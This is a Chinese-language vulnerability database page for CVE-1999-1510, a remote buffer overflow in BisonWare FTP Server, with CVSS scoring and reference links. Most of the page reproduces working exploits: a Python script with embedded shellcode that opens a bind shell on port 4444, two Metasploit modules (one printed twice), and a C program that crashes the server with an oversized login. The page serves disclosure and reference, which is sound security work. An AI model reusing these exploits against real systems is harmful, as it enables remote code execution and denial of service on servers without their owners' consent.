CVE-1999-1510
CVSS7.5
发布时间 :1999-05-17 00:00:00
修订时间 :2016-10-17 22:05:08
NMCOEP    

[原文]Buffer overflows in Bisonware FTP server prior to 4.1 allow remote attackers to cause a denial of service, and possibly execute arbitrary commands, via long (1) USER, (2) LIST, or (3) CWD commands.


[CNNVD]Bisonware FTP服务器拒绝服务并且可能执行任意命令漏洞(CNNVD-199905-035)

        Bisonware FTP Server 4.1之前的版本中存在缓冲区溢出漏洞。远程攻击者通过长的(1) USER, (2) LIST, 或者 (3) CWD命令导致拒绝服务并且可能执行任意命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1510
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-1510
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199905-035
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=ntbugtraq&m=92697301706956&w=2
(UNKNOWN)  NTBUGTRAQ  19990517 Vulnerabilities in BisonWare FTP Server 3.5
http://xforce.iss.net/static/3234.php
(VENDOR_ADVISORY)  XF  bisonware-command-bo(3234)

- 漏洞信息

Bisonware FTP服务器拒绝服务并且可能执行任意命令漏洞
高危 缓冲区溢出
1999-05-17 00:00:00 2006-09-05 00:00:00
远程  
        Bisonware FTP Server 4.1之前的版本中存在缓冲区溢出漏洞。远程攻击者通过长的(1) USER, (2) LIST, 或者 (3) CWD命令导致拒绝服务并且可能执行任意命令。

- 公告与补丁

        

- 漏洞信息 (17649)

BisonFTP Server <=v3.5 Remote Buffer Overflow Exploit (EDBID:17649)
windows remote
2011-08-10 Verified
0 localh0t
[点击下载] [点击下载]
#!/usr/bin/python
# BisonFTP Server <=v3.5 Remote Buffer Overflow Exploit
# Newer version's not tested, maybe vulnerable too
# written by localh0t
# Date: 10/08/11
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# www.localh0t.com.ar | www.mfsec.com.ar
# Thanks to: Pr0zac, Irakirashia, Kchito
# Targets: Windows XP SP3 Spanish (No DEP) (Change as you wish)
# Shellcode: List shell on port 4444 (Change as you wish)

from socket import *
import sys, struct, os, time

if (len(sys.argv) < 3):
	print "\nBisonFTP Server <=v3.5 Remote Buffer Overflow Exploit"
        print "\n	Usage: %s <host> <port> \n" %(sys.argv[0])
	sys.exit()

print "\n[!] Connecting to %s ..." %(sys.argv[1])

# connect to host
sock = socket(AF_INET,SOCK_STREAM)
sock.connect((sys.argv[1],int(sys.argv[2])))
sock.recv(1024)
time.sleep(5)

# padding
buffer = "\x90" * 1092

# 368 bytes shellcode
buffer += ("\x33\xc9\x83\xe9\xaa\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"+
"\xbb\xc1\x9c\x35\x83\xee\xfc\xe2\xf4\x47\x29\x15\x35\xbb\xc1"+
"\xfc\xbc\x5e\xf0\x4e\x51\x30\x93\xac\xbe\xe9\xcd\x17\x67\xaf"+
"\x4a\xee\x1d\xb4\x76\xd6\x13\x8a\x3e\xad\xf5\x17\xfd\xfd\x49"+
"\xb9\xed\xbc\xf4\x74\xcc\x9d\xf2\x59\x31\xce\x62\x30\x93\x8c"+
"\xbe\xf9\xfd\x9d\xe5\x30\x81\xe4\xb0\x7b\xb5\xd6\x34\x6b\x91"+
"\x17\x7d\xa3\x4a\xc4\x15\xba\x12\x7f\x09\xf2\x4a\xa8\xbe\xba"+
"\x17\xad\xca\x8a\x01\x30\xf4\x74\xcc\x9d\xf2\x83\x21\xe9\xc1"+
"\xb8\xbc\x64\x0e\xc6\xe5\xe9\xd7\xe3\x4a\xc4\x11\xba\x12\xfa"+
"\xbe\xb7\x8a\x17\x6d\xa7\xc0\x4f\xbe\xbf\x4a\x9d\xe5\x32\x85"+
"\xb8\x11\xe0\x9a\xfd\x6c\xe1\x90\x63\xd5\xe3\x9e\xc6\xbe\xa9"+
"\x2a\x1a\x68\xd3\xf2\xae\x35\xbb\xa9\xeb\x46\x89\x9e\xc8\x5d"+
"\xf7\xb6\xba\x32\x44\x14\x24\xa5\xba\xc1\x9c\x1c\x7f\x95\xcc"+
"\x5d\x92\x41\xf7\x35\x44\x14\xcc\x65\xeb\x91\xdc\x65\xfb\x91"+
"\xf4\xdf\xb4\x1e\x7c\xca\x6e\x48\x5b\x04\x60\x92\xf4\x37\xbb"+
"\xd0\xc0\xbc\x5d\xab\x8c\x63\xec\xa9\x5e\xee\x8c\xa6\x63\xe0"+
"\xe8\x96\xf4\x82\x52\xf9\x63\xca\x6e\x92\xcf\x62\xd3\xb5\x70"+
"\x0e\x5a\x3e\x49\x62\x32\x06\xf4\x40\xd5\x8c\xfd\xca\x6e\xa9"+
"\xff\x58\xdf\xc1\x15\xd6\xec\x96\xcb\x04\x4d\xab\x8e\x6c\xed"+
"\x23\x61\x53\x7c\x85\xb8\x09\xba\xc0\x11\x71\x9f\xd1\x5a\x35"+
"\xff\x95\xcc\x63\xed\x97\xda\x63\xf5\x97\xca\x66\xed\xa9\xe5"+
"\xf9\x84\x47\x63\xe0\x32\x21\xd2\x63\xfd\x3e\xac\x5d\xb3\x46"+
"\x81\x55\x44\x14\x27\xc5\x0e\x63\xca\x5d\x1d\x54\x21\xa8\x44"+
"\x14\xa0\x33\xc7\xcb\x1c\xce\x5b\xb4\x99\x8e\xfc\xd2\xee\x5a"+
"\xd1\xc1\xcf\xca\x6e\xc1\x9c\x35")

# more padding
buffer += "\x90" * 8

# jmp edx (shell32.dll Windows XP SP3 Spanish) (edx points to the 1st nopsled)
buffer += "\x9a\x5c\x3c\x7e"

# end connection
buffer += "\x0a"

# send buffer
print "[!] Sending exploit..."
sock.send(buffer)
sock.recv(1024)
sock.close()
print "[!] Exploit succeed. Now netcat %s on port 4444\n" %(sys.argv[1])
sys.exit()		

- 漏洞信息 (17810)

BisonFTP Server Remote Buffer Overflow Exploit (MSF) (EDBID:17810)
windows remote
2011-09-09 Verified
0 SecPod Research
[点击下载] [点击下载]
##############################################################################
#
# Title    : BisonFTP Server Remote Buffer Overflow Exploit
# Author   : Veerendra G.G SecPod Technologies (www.secpod.com)
# Advisory : http://secpod.org/blog/?p=384
#            http://secpod.org/msf/bison_server_bof.rb
# Version  : BisonFTP Server <= v3.5
# Date     : 09/07/2011
#
###############################################################################

##
# $Id: bison_server_bof.rb 2011-08-19 03:13:45Z veerendragg $
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'BisonFTP Server Remote Buffer Overflow Vulnerability',
			'Description'    => %q{
						This module exploits a buffer overflow vulnerability
						found in the BisonFTP Server <= v3.5.
			},
			'Author'         => 
				[
					'localh0t',		# Initial PoC
					'veerendragg @ SecPod',	# Metasploit Module
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 1.0 $',
			'References'     =>
				[
					[ 'BID', '49109'],
					[ 'CVE', '1999-1510'],
					[ 'URL', 'http://secpod.org/blog/?p=384'],
					[ 'URL', 'http://www.exploit-db.com/exploits/17649'],
					[ 'URL', 'http://secpod.org/msf/bison_server_bof.rb'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space' => 388,
					'BadChars' => "\x00\x0a\x0d",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP3 EN',
						{
							'Ret' => 0x0040333f, # call edx from Bisonftp.exe
							'Offset' => 1432
						}
					],
				],
			'DisclosureDate' => 'Aug 07 2011',
			'DefaultTarget'	=> 0))
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")
		print_status("Connected to #{datastore['RHOST']}:#{datastore['RPORT']}")
		sploit = rand_text_alpha(1028)					## Random Buffer
		sploit << "\x90" * 16						## Padding
		sploit << payload.encoded					## Encoded Payload
		sploit << "\x90" * (388 - payload.encoded.length)		## More Nops
		sploit << [target.ret].pack('V')				## Return Address
		sploit << rand_text_alpha(39)					## MOre Buffer

		print_status("Sending payload...")
		sock.put(sploit)

		handler
		disconnect
	end

end
		

- 漏洞信息 (19219)

BisonWare BisonWare FTP Server 3.5 Multiple Vulnerabilities (EDBID:19219)
linux remote
1999-05-17 Verified
0 Arne Vidstrom
N/A [点击下载]
source: http://www.securityfocus.com/bid/271/info

Multiple vulnerabilities in the BisonWare FTP Server can cause denials of service.

The vulnerabilities are:

The server fails to close the socket created by a PASV command in multiple PASV commands are executed back to back. This can create a socket and memory shortage that will not be fixed when the client disconnects from the server.

Connecting to the server and issuing a "PORT a" command followed by several thousand carriege returns and new lines will cause the server to crash.

The are multiple buffer overflows in all commands that take arguments. For example LIST and CWD both crash the server if they are passed string longer than 1500 characters.

The USER command in conjunction with a password, each containing a string over 550 characters long, is vulnerable as well which means an attacker doesn't need to logon to the server to exploit the vulnerability. 

/*
 * FILE: rlxbison.c
 * CODER: Conde Vampiro.
 * DATE: 2/29/2000.
 * ABSTRACT: Remote DoS of BISON FTP Server 3.5
 *
 * Compile: gcc rlxbison.c -o rlbison
 *
 * Roses Labs / w00w00
 * http://www.roses-labs.com
 * Advanced Security Research.
*/

#include <stdio.h>
#include <sys/socket.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <unistd.h>

/* Defines */

#define MAX 551
#define MAXDATA 1024

/* Global variables */

int sock;
int i;
char datacrap[MAX];
char *temp;
char tempdata[MAXDATA];
char buf[MAXDATA];
struct hostent *host;
struct sockaddr_in KillFTP;

/* Prototypes */
 
unsigned long resolve(char *host_name);
char *crap(int num);

/* Main */

int main(int argc, char *argv[]) {

        if(argc < 2) {
                printf("Usage: %s <Host>\n", argv[0]);
                exit(-1);
        }
        KillFTP.sin_family=AF_INET;
        KillFTP.sin_addr.s_addr=resolve(argv[1]);
        if(!KillFTP.sin_addr.s_addr) {
                printf("Host Unkown: %s\n",argv[1]);
                exit(-1);
        }
        KillFTP.sin_port=htons(21);
        sock=socket(AF_INET, SOCK_STREAM, 0);
        if(sock < 0) {
                printf("Error creating socket!!\n");
                exit(-1);
        }
        if(!connect(sock,(struct sockaddr *)&KillFTP, sizeof(KillFTP))) {
                printf("Roses Labs Bison FTP Xploit\n");
                printf("Remote crashing code!!!\n");
                recv(sock,tempdata,sizeof(tempdata),0);
                sleep(1);
                recv(sock,tempdata,sizeof(tempdata),0);
                temp=crap(MAX);
                sprintf(buf,"LOGIN %s\n",temp);
                send(sock,buf,strlen(buf),0);
                sprintf(buf,"PASS %s\n",temp);
                send(sock,buf,strlen(buf),0);
                printf("Host %s crashed!!\n",argv[1]);
                exit(0);
        } else {
                printf("Couldn't connect to %s on port 21,\n", argv[1]);
                exit(-1);
        }
        if(close(sock)) {
                printf("Error closing socket!!\n");
                exit(-1);
        }
return(0);
}

/* Functions */

unsigned long resolve(char *host_name) {
        struct in_addr addr;
        struct hostent *host_nam;

        if((addr.s_addr = inet_addr(host_name)) == -1) {
        if(!(host_nam = gethostbyname(host_name))) return(0);
        memcpy((char *) &addr.s_addr, host_nam->h_addr, host_nam->h_length);
        }
        return(addr.s_addr);
}

char *crap(int num) {
        for(i=0;i<num;i++) {
                datacrap[i]='X';
        }
        return(datacrap);
}

/* w00w00 E0F */


		

- 漏洞信息 (F104942)

BisonFTP 3.5 Buffer Overflow (PacketStormID:F104942)
2011-09-09 00:00:00
Veerendra G.G,localh0t  metasploit.com
exploit,overflow
CVE-1999-1510
[点击下载]

This Metasploit module exploits a buffer overflow vulnerability found in the BisonFTP Server versions 3.5 and below.

##############################################################################
#
# Title    : BisonFTP Server Remote Buffer Overflow Exploit
# Author   : Veerendra G.G SecPod Technologies (www.secpod.com)
# Advisory : http://secpod.org/blog/?p=384
#            http://secpod.org/msf/bison_server_bof.rb
# Version  : BisonFTP Server <= v3.5
# Date     : 09/07/2011
#
###############################################################################
 
##
# $Id: bison_server_bof.rb 2011-08-19 03:13:45Z veerendragg $
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking
 
    include Msf::Exploit::Remote::Ftp
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'BisonFTP Server Remote Buffer Overflow Vulnerability',
            'Description'    => %q{
                        This module exploits a buffer overflow vulnerability
                        found in the BisonFTP Server <= v3.5.
            },
            'Author'         =>
                [
                    'localh0t',     # Initial PoC
                    'veerendragg @ SecPod', # Metasploit Module
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 1.0 $',
            'References'     =>
                [
                    [ 'BID', '49109'],
                    [ 'CVE', '1999-1510'],
                    [ 'URL', 'http://secpod.org/blog/?p=384'],
                    [ 'URL', 'http://www.exploit-db.com/exploits/17649'],
                    [ 'URL', 'http://secpod.org/msf/bison_server_bof.rb'],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space' => 388,
                    'BadChars' => "\x00\x0a\x0d",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP SP3 EN',
                        {
                            'Ret' => 0x0040333f, # call edx from Bisonftp.exe
                            'Offset' => 1432
                        }
                    ],
                ],
            'DisclosureDate' => 'Aug 07 2011',
            'DefaultTarget' => 0))
    end
 
    def exploit
        connect
 
        print_status("Trying target #{target.name}...")
        print_status("Connected to #{datastore['RHOST']}:#{datastore['RPORT']}")
        sploit = rand_text_alpha(1028)                  ## Random Buffer
        sploit << "\x90" * 16                     ## Padding
        sploit << payload.encoded                 ## Encoded Payload
        sploit << "\x90" * (388 - payload.encoded.length)     ## More Nops
        sploit << [target.ret].pack('V')              ## Return Address
        sploit << rand_text_alpha(39)                 ## MOre Buffer
 
        print_status("Sending payload...")
        sock.put(sploit)
 
        handler
        disconnect
    end
 
end

    

- 漏洞信息 (F134537)

BisonWare BisonFTP Server 3.5 Buffer Overflow (PacketStormID:F134537)
2015-11-25 00:00:00
localh0t,Jay Turla,veerendragg  metasploit.com
exploit,overflow
CVE-1999-1510
[点击下载]

BisonWare BisonFTP Server version 3.5 is prone to an overflow condition. This Metasploit module exploits a buffer overflow vulnerability in said application.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'BisonWare BisonFTP Server Buffer Overflow',
      'Description'    => %q{
        BisonWare BisonFTP Server 3.5 is prone to an overflow condition.
        This module exploits a buffer overflow vulnerability in the said
        application.
      },
      'Platform'       => 'win',
      'Author'         =>
        [
          'localh0t', # initial discovery
          'veerendragg @ SecPod', # initial msf
          'Jay Turla' # msf
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '1999-1510'],
          [ 'BID', '49109'],
          [ 'EDB', '17649'],
          [ 'URL', 'http://secpod.org/msf/bison_server_bof.rb']
        ],
      'Privileged'     => false,
      'DefaultOptions' =>
        {
          'VERBOSE'  => true
        },
      'Payload'        =>
        {
          'Space'           => 310,
          'BadChars'        => "\x00\x0a\x0d",
          'StackAdjustment' => -3500,
        },
      'Targets'        =>
        [
          [ 'Bisonware FTP Server / Windows XP SP3 EN',
            {
              'Ret'    => 0x0040333f,
              'Offset' => 1028,
              'Nops'   =>  404
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Aug 07 2011'))
  end

  def check
    connect_login
    disconnect
    if /BisonWare BisonFTP server product V3\.5/i === banner
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    connect
    print_status('Triggering the prompt for an unregistered product')
    sock.put('')
    print_status('Disconnecting...')
    disconnect

    print_status('Connecting for the second time to deliver our payload...')
    connect #connect for the second time

    buf = rand_text_alpha(target['Offset'])
    buf << payload.encoded
    buf << make_nops( (target['Nops']) - payload.encoded.length)
    buf << [target.ret].pack('V')
    print_status('Sending payload...')

    sock.put(buf)
    handler
    disconnect
  end
end
    

- 漏洞信息

13546
BisonFTP Server Multiple Command Remote Overflows
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public

- 漏洞描述

- 时间线

1999-05-08 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 4.1 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站